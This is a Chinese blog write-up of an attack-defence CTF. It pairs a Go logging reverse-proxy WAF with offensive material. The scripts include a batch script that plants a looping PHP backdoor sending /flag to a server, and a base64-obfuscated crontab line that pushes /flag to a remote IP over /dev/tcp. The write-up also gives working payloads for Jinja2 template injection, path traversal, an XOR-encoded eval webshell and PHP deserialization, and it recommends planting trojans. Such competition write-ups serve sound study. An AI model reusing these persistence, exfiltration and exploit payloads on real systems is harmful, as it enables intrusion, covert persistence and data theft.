银联第一届ADW比赛笔记

一、防御方法:

1.流量转发

用golang写了一个反向代理,还能监听日志或者加waf,万能waf+CDN

package main

import (
   "context"
   "fmt"
   "io/ioutil"
   "log"
   "math/rand"
   "net"
   "net/http"
   "net/http/httputil"
   "net/url"
   "os"
   "strings"
   "time"
)

type handle struct {
   reverseProxy string
}

func GetRandomString(len int) string{
   str := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
   bytes := []byte(str)
   result := []byte{}
   r := rand.New(rand.NewSource(time.Now().UnixNano()))
   for i := 0; i < len; i++ {
      result = append(result, bytes[r.Intn(62)])
   }
   return string(result)
}
func (this *handle) ServeHTTP(w http.ResponseWriter, r *http.Request) {
   normallogFile, err1 := os.OpenFile("normal.log", os.O_CREATE|os.O_RDWR|os.O_APPEND, 0666)
   highlogFile, err2 := os.OpenFile("high.log", os.O_CREATE|os.O_RDWR|os.O_APPEND, 0666)
   if err1 != nil {
      log.Fatalln("fail to create normal.log file!")
   }
   if err2 != nil {
      log.Fatalln("fail to create high.log file!")
   }
   post, _ := ioutil.ReadAll(r.Body)
   r.Body = ioutil.NopCloser(strings.NewReader(string(post)))
   log.SetOutput(normallogFile)
   //log.Println(r.RemoteAddr + " " + r.Method + " " + r.URL.String() + " " + r.Proto + " " + r.UserAgent() + " " + string(post))
   if string(post) != ""{
      log.Println(r.RemoteAddr + " " + r.Method + " " + r.URL.String() + " " + r.Proto + " " + r.UserAgent() + "  " + string(post))
   }else {
      log.Println(r.RemoteAddr + " " + r.Method + " " + r.URL.String() + " " + r.Proto + " " + r.UserAgent())
   }
   query ,_ := url.PathUnescape(r.URL.String())
   postdata ,_ := url.PathUnescape(string(post))
   if strings.Contains(strings.ToLower(query),"flag")||strings.Contains(strings.ToLower(postdata),"flag"){
      fmt.Fprintln(w,GetRandomString(20))
      log.SetOutput(highlogFile)
      if string(post) != ""{
         log.Println(r.RemoteAddr + " " + r.Method + " " + r.URL.String() + " " + r.Proto + " " + r.UserAgent() + "  " + string(post))
      }else {
         log.Println(r.RemoteAddr + " " + r.Method + " " + r.URL.String() + " " + r.Proto + " " + r.UserAgent())
      }

   }else {
      remote, err := url.Parse(this.reverseProxy)
      if err != nil {
         log.Fatalln(err)
      }
      dialer := &net.Dialer{
         Timeout:   30 * time.Second,
         KeepAlive: 30 * time.Second,
         DualStack: true,
      }
      http.DefaultTransport.(*http.Transport).DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
         //remote := strings.Split(addr, ":")
         //if cmd.ip == "" {
         // resolver := dns_resolver.New([]string{"114.114.114.114", "114.114.115.115", "119.29.29.29", "223.5.5.5", "8.8.8.8", "208.67.222.222", "208.67.220.220"})
         // resolver.RetryTimes = 5
         // ip, err := resolver.LookupHost(remote[0])
         // if err != nil {
         //    log.Println(err)
         // }
         // fmt.Println(cmd.ip)
         // cmd.ip = ip[0].String()
         //
         //}
         //addr = cmd.ip + ":" + remote[1]
         return dialer.DialContext(ctx, network, addr)
      }
      proxy := httputil.NewSingleHostReverseProxy(remote)
      r.Host = remote.Host
      proxy.ServeHTTP(w, r)
   }
}

2.文件监控

3.phpwaf

总结:防御方面感觉做的还行,就是修复漏洞的时候太手忙脚乱了漏了好多轮

二、脚本+骚套路:

1.流量转发

就是我们用的第一个骚套路,由于主办方没有限制流量转发,我们比赛的时候直接将两道java题转到npc,我们服务都没起,可以过cheak,自然从头到尾都没有被扣分

2.批量提交代码

def busima(ips,pintaiweb = "http://127.0.0.1/xss/index.php",token = "Wwat9tSmP8"): #平台提交flag地址 队伍 token
    for ip in ips:
        url = "http://"+ip+":80/config/config.php" # 后门地址
        headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
        data = {"cmd": "error_reporting(0);ignore_user_abort(true);set_time_limit(0);while(1){$headers = array('Content-Type: application/x-www-form-urlencoded',);$ch = curl_init();curl_setopt($ch, CURLOPT_URL, \""+ pintaiweb +"\");$flag = file_get_contents(\"/flag\");$flag=str_replace(\"\\n\",\"\",$flag);$data = sprintf('flag=%s&token="+token+"',$flag);curl_setopt($ch, CURLOPT_POSTFIELDS, $data);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);curl_exec($ch);curl_close($ch);sleep(60);}"}
        # 改cmd后门密码,改flag位置(默认/flag),改返回间隔(默认60s)
        req = requests.post(url, headers=headers, data=data,timeout = 5)
        print(req.text)

def cron(ips):
    for ip in ips:
        url = "http://"+ip+":80/config/config.php" # 后门地址
        headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
        data = {"cmd": "system('echo ZWNobyAiKiAqICogKiAqIGJhc2ggLWMgJ3tlY2hvLFkyRjBJQzltYkdGbklENGdMMlJsZGk5MFkzQXZNVEF1TVRBdU1pNHhNREl2TWprd01ERT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfSciIHxjcm9udGFiIC0= |base64 -d|bash -i');"}
        # 修改接收端 ip 端口(转base64)
        req = requests.post(url, headers=headers, data=data)
        print(req.text)

我们准备了两个持久化方案,一个是写crontab自动反弹flag回来,一个是php写不死马自动提交flag,最后两个都用到了,但是感觉效果其实一般

3.比赛结束总结新套路

比赛完结以后总结出一个比较可行的方案是直接写linux木马或者循环shell,因为不管是不死马还是crontab都有局限性而且容易发现,如果直接给服务器上马的话,就是基于linux系统环境,没有那么多条件了,木马自动提交flag也不需要再管他,用golang很容易就能写一个

 

三、复盘 OR write_up:

1.1_java

java1是个zrlog cms模板直接搭上去的,本来以为是cms的通用型漏洞,这个坑也绕了很久,issue上给的漏洞都是需要登录的,一度甚至怀疑要找这个cms的0day,后来给出提示是序列化

对比了一下github上的源码,很快找到了代码的不同之处。由于其他题目有了新进展,这个题目就搁置了

《银联第一届ADW比赛笔记》

2.2_python

from flask import Flask, Response, make_response, send_from_directory   
from flask import render_template
from flask import request
from jinja2 import Environment
from flask import session
import os
from flask import render_template_string
import re


app = Flask(__name__)
app.secret_key = os.urandom(24)
Jinja2 = Environment()

def safe_jinja(str):

    blacklist = [
        r"\+",
    ]
    for i in blacklist:
        searchObjre = re.search(i, str, re.M | re.I)
        if searchObjre:
            print('errrrrrrrror:'+searchObjre)
            exit()

# homepage
@app.route('/',methods=['GET', 'POST'])
def home_page():
    item = ["img/1.jpg", "img/2.jpg", "img/3.jpg", "img/4.jpg", "img/5.jpg"]
    session['haha'] = 233333
    if request.method == 'GET':
        resp = make_response(render_template('index.html',item=item))
        resp.set_cookie("version", value="python 3.7.0 ")
        return resp
    else:
        name = request.values.get('name','')
        if name == '':
            return render_template('index.html', item=item)
        else:
            print(name)
            safe_jinja(name)
            item = ['1','2','3','4','5']
            erroutput = False
            if name in item:
                is_value = "img/" + str(name) + ".jpg"
            else:
                erroutput = Jinja2.from_string("No related Img found " + name + '!').render()
                is_value = False
            return render_template('index.html', erroutput=erroutput,is_value=is_value)

# keypage 
@app.route('/keypage',methods=['GET', 'POST'])
def keypage():
    if request.method == 'GET':
        resp = make_response(render_template('keypage.html'))
        resp.set_cookie("version", value="Python3.7.0")
        return resp
    else:
        cmd = request.values.get('cmd','')
        if cmd == '':
            return render_template('keypage.html')
# POST page same with the GET page
        if cmd != 'cat /tmp/flag':
            exit()
        p = os.popen(cmd)
        x=p.read()
        return render_template('keypage.html',msg = x)

@app.route('/favicon.ico') 
def favicon(): 
    return send_from_directory(os.path.join(app.root_path, 'static'), 'favicon.ico', mimetype='image/vnd.microsoft.icon')

@app.route('/texts/',methods=['POST','GET'])
def texts(filename):
    dir = os.path.dirname(__file__)
    dir = request.values.get('dir',dir)
    os.path.isfile(os.path.join(dir,filename))
    return send_from_directory(dir, filename, as_attachment=True)



if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True, port=5000)

感觉比较简单,直接看出来有三个漏洞,一个Jinja2的模板注入,一个预置的cat /flag的后门,一个任意文件读取/下载

三个payload分别是

1.POST /

name=%7B%7B().__class__.__bases__%5B0%5D.__subclasses__()%5B75%5D.__init__.__globals__.__builtins__%5B’open’%5D(‘/flag’).read()%7D%7D

2.POST /keypage

cmd=cat /flag

3.POST /texts/flag

dir=/

3.3_java

找到class,审计发现有个文件上传,但是有个ip限制必须为127.0.0.1

《银联第一届ADW比赛笔记》

 

为了绕过限制想了很多办法,最后发现服务器有tomcat AJP对外开放了8009端口,印象中好像在入侵tomcat的时候说这个服务可以转发端口,可以把内网的127段的8080转出来。对于这个漏洞咱们并不需要转流量,但是可以利用流量转发的过程绕过上传文件的IP限制

最后解题方法就是本地搭建tomcat,利用AJP将目标端口转发到本地,本地访问127.0.0.1:8080,上传shell拿flag

4.4_php

PHP发现了四个漏洞,分别是

addmessage.php   call_user_func()用户参数可控导致代码执行

if(isset($_POST['dosubmit']) && $_POST['dosubmit'] == "dosubmit")
{
    call_user_func($_GET['dosubmit'],$_POST['content']);
    $_POST && SafeFilter($_POST);
    $loginin = new loginReg('','','','','',$_POST['tcontent']);
    $loginin->setPDO($pdo);
    $loginin ->isempty(array($_POST['tcontent']));
    $loginin ->VcodeIsTrue();
    $loginin ->addmsg($_POST['hiddenmt']);
}

editinfo.php 预置文件包含漏洞

if(isset($_GET['filename'])){
    $file = $_GET['filename'];
}else{
    $file = "";
}
include './footer.php'.$file;


search.php eval用户参数可控导致代码执行

if(isset($_GET['code'])){
    if(strlen($_GET['code'])<200) {
        $code = $_GET['code'];
    }
    $tt = preg_match("/[A-Za-z0-9_]+/",$code);
    if(!preg_match("/[A-Za-z0-9_]+/",$code)){
        eval($code);
    }
}

sutp.php unserialize反序列化漏洞

class Template {
    public $cacheFile = '/tmp/cachefile';
    public $template = '<div>Welcome back %s</div>';

    public function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    public function loadData($data) {
        if (substr($data, 0, 2) !== 'O:'
            && !preg_match('/O:\d:\/', $data)) {
            return unserialize($data);
        }
        return [];
    }

    public function createCache($file = null, $tpl = null) {
        $file = $this->cacheFile;
        $tpl = $this->template;
        call_user_func($file, $tpl);
    }

    public function render($data) {
        echo sprintf(
            $this->template,
            htmlspecialchars($data['name'])
        );
    }

    public function __destruct() {
        $this->createCache();
    }
}

 

四个payload分别是

1.POST /addmessage.php?dosubmit=system

dosubmit=dosubmit&content=cat /flag

2./editinfo.php?filename=../../../../../../../flag

3.search.php?code=$%81=%22`{{{%22^%22?%3C%3E/%22;${$%81}[%81](${$%81}[%81%81]);&%81=system&%81%81=cat /flag

4.POST /sutp.php

data=a:1:{i:0;O:%2B8:”Template”:2{s:9:”cacheFile”;s:6:”system”;s:8:”template”;s:2:”ls”;}}

 

第三个漏洞纠结了我好久,网上大部分都是构造getflag()函数执行,没有真正的构建webshell执行命令的方法。在php中,两个字符串执行异或操作后,得到的还是一个字符串,我们想到可以用两个非字母、数字的字符,他们异或得到我们所需要的字母。 所以构建webshell的方法必须是自己写,耗时又耗力。

 

相反第四个漏洞网上结论一大堆,而且特别简单就能执行命令。

<?php
class Template{
    public $cacheFile = 'system';
    public $template = 'ls';
}
$temp = new Template();
$test = Array($temp);
print(serialize($test));
?>

本地序列化$cacheFile和$template参数,payload加工一下然后‘O:’后面加上’’+’’来绕过正则匹配就可以了。

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注